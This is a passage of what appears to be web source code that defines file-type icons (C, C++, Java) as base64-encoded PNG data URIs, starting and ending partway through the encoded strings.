7rgeGTJYaGzEGBpTmZRIls4Hi8LBqiIqg8uOy9yfkPJYbl+tu3FkEQ1pikp06/kDa6adSKUqGsS8Dv10fAUS2DwyAg3Ib8A+21/tgdssWsh0dzLz6KvmFBZUqi5Wt9Pm4TRzlY4/V+gKSCkvZK2fJEerTYacrZElys2YNBek3Sph1NkDITpSCZKDSharr9ggQ0uuX3Wjy2O0DODvR1e9K5JBmjMwU3k2lZK7wXz4L36rX/g0D4IBwG/CMEY2un9u+neTEBKn33lMMkORkczhMh+QEmzbB7t01FtR3f6VSE1ZUKmpgad92G2Z3N/mxMTUQFQcrdqtAkF0jk5MUxsdrW2udfqALhpiFgCCDUNlFKs15uabY4Gy1E0a9Oz8/U7Ss3Y/CiY8MgAPCw8D3it3dHRO9vYy/8QYlXSceDHKHdGTFY0tN8IUvqN1fav7n1vwChuzcuHwZPR5X226keyT9PxmHSVdIbcYyjNoeAMMgf/EixYWFWs+/brntMXdyLSM7oWir7FSTxkkkosLpcDr9j/OW9XuPOyPND+UD6j8kTXDgd22P52/m1q9vPjs/r0rRweZm1oqA0uiQQ/YEfOlLtbGXmIDEdilyLlzAPHtW7QkuScYXi6kBqrTbxH7NQEBtfJLpsPgAMYvMxYuUpWV+FQhXd4rFDCR7S2ga3R4PTcFgfqJSefxe03yf93fluSEfcBUIwrY/MCKRvzyzYkXj1OQkd7a1EZufrzU63WPHDnj4YVUZWlLLHzyIeenS4u4Ot9HialaiicwQZTOVR/YXyRywWqWYTLIwOqqKMQm9ajZYtyyPB1lyTZ2lgjQMWiqVvU3l8r/dUduz+WvHhwbAMQUB4elUPP7N2VAoMSiUlimvsMAZgSuBHn9c1fPV555TtYSy87qlOk1LaFaNvySxkbFXOKyqQBnOiHDib+SsvsedEjtjc0mhpTaJFQpTPsN47F44vJTwH8oJXv1FNnhMr/ffmD093wr093ep5qazSVJuUigpQpgTE+jnzi0JgAhxNQD1VFf9fskturvVd6sNEk6S426Zc6/JHsHmXI5IpWLYtv3f7oa/lNnVPxsAi3lCY+Muu6Hh26Zh3GZ1dmJ3dCgvr0BwvbrM/S9coCIdJun1XcUENeV1rtU7O8WEUIjAypU1rdcB4D6W35AMNJHP45ceAjzjg/+4rdbJu+bxkUzg19gQDA4alcrXDfgtPRTyG2LDkiInEkpzig2S4kpiIkCkUov/NRAw3KRmKUcnG6ll98lSwnurVVryeeJSKNXM4UUPPL0N6YMuf3ysADh+QaLRH5jwFR26pLtTjkSQUZvsEJG/0kkkkE5veWqKgkye6vyCJDVyU1czQAod2R6rKO8wQMCMlsuqCg1Kp6rGnpds+A9br0p5/9lNYIkwKWX0nwCfNqBBXHDO56PQ1IQhpWsigSYevlQiPz6u0uqqbGysS3VdEJT9t7Wprbau8NIXFMGbSyVVfZqyLQD26vDVD6L5jxwGr0cthw2yQ2U38J+odZeCkjEWpI8XDJKXf5NJNycaVfE+OzFBYX5eCSk5vxyqFxQK4Xf+kievRSsVOvJ5GhzATJi04G/88H/WQq1u/oDHx24CS/2ujN2BByV5Au6WzNXdaZb1eJiPRMi1tFCJxSgUiyqpks0RYaex6ZUdILLrzDRpk220pZLqQcq0wYD/Z8H/GIQ3tQ/xF9zfCACLkaKWrt8KSCp9H3CT/CvOAk0Soozfz3w8znxDA8lSSW2PCxgG4aYmheBK+cOUrlctGBNHZ8APTXh9ba0O+1DHbxSAq/yEyDQIbLHgVg3W2tBhyG5VTQumQyHvhM9nzlSr5Q6vN91bLl8Omqbs8ztiwJsrYVI253woqes+9C8GwBJOU9jRWKn9O1V8h18H/VIwWEhUKpl2yGgfQdPXAur/A/JB6TEHJompAAAAAElFTkSuQmCC",c_icon="data:image/png;base64,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",cpp_icon="data:image/png;base64,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",java_icon="data:image/png;base64,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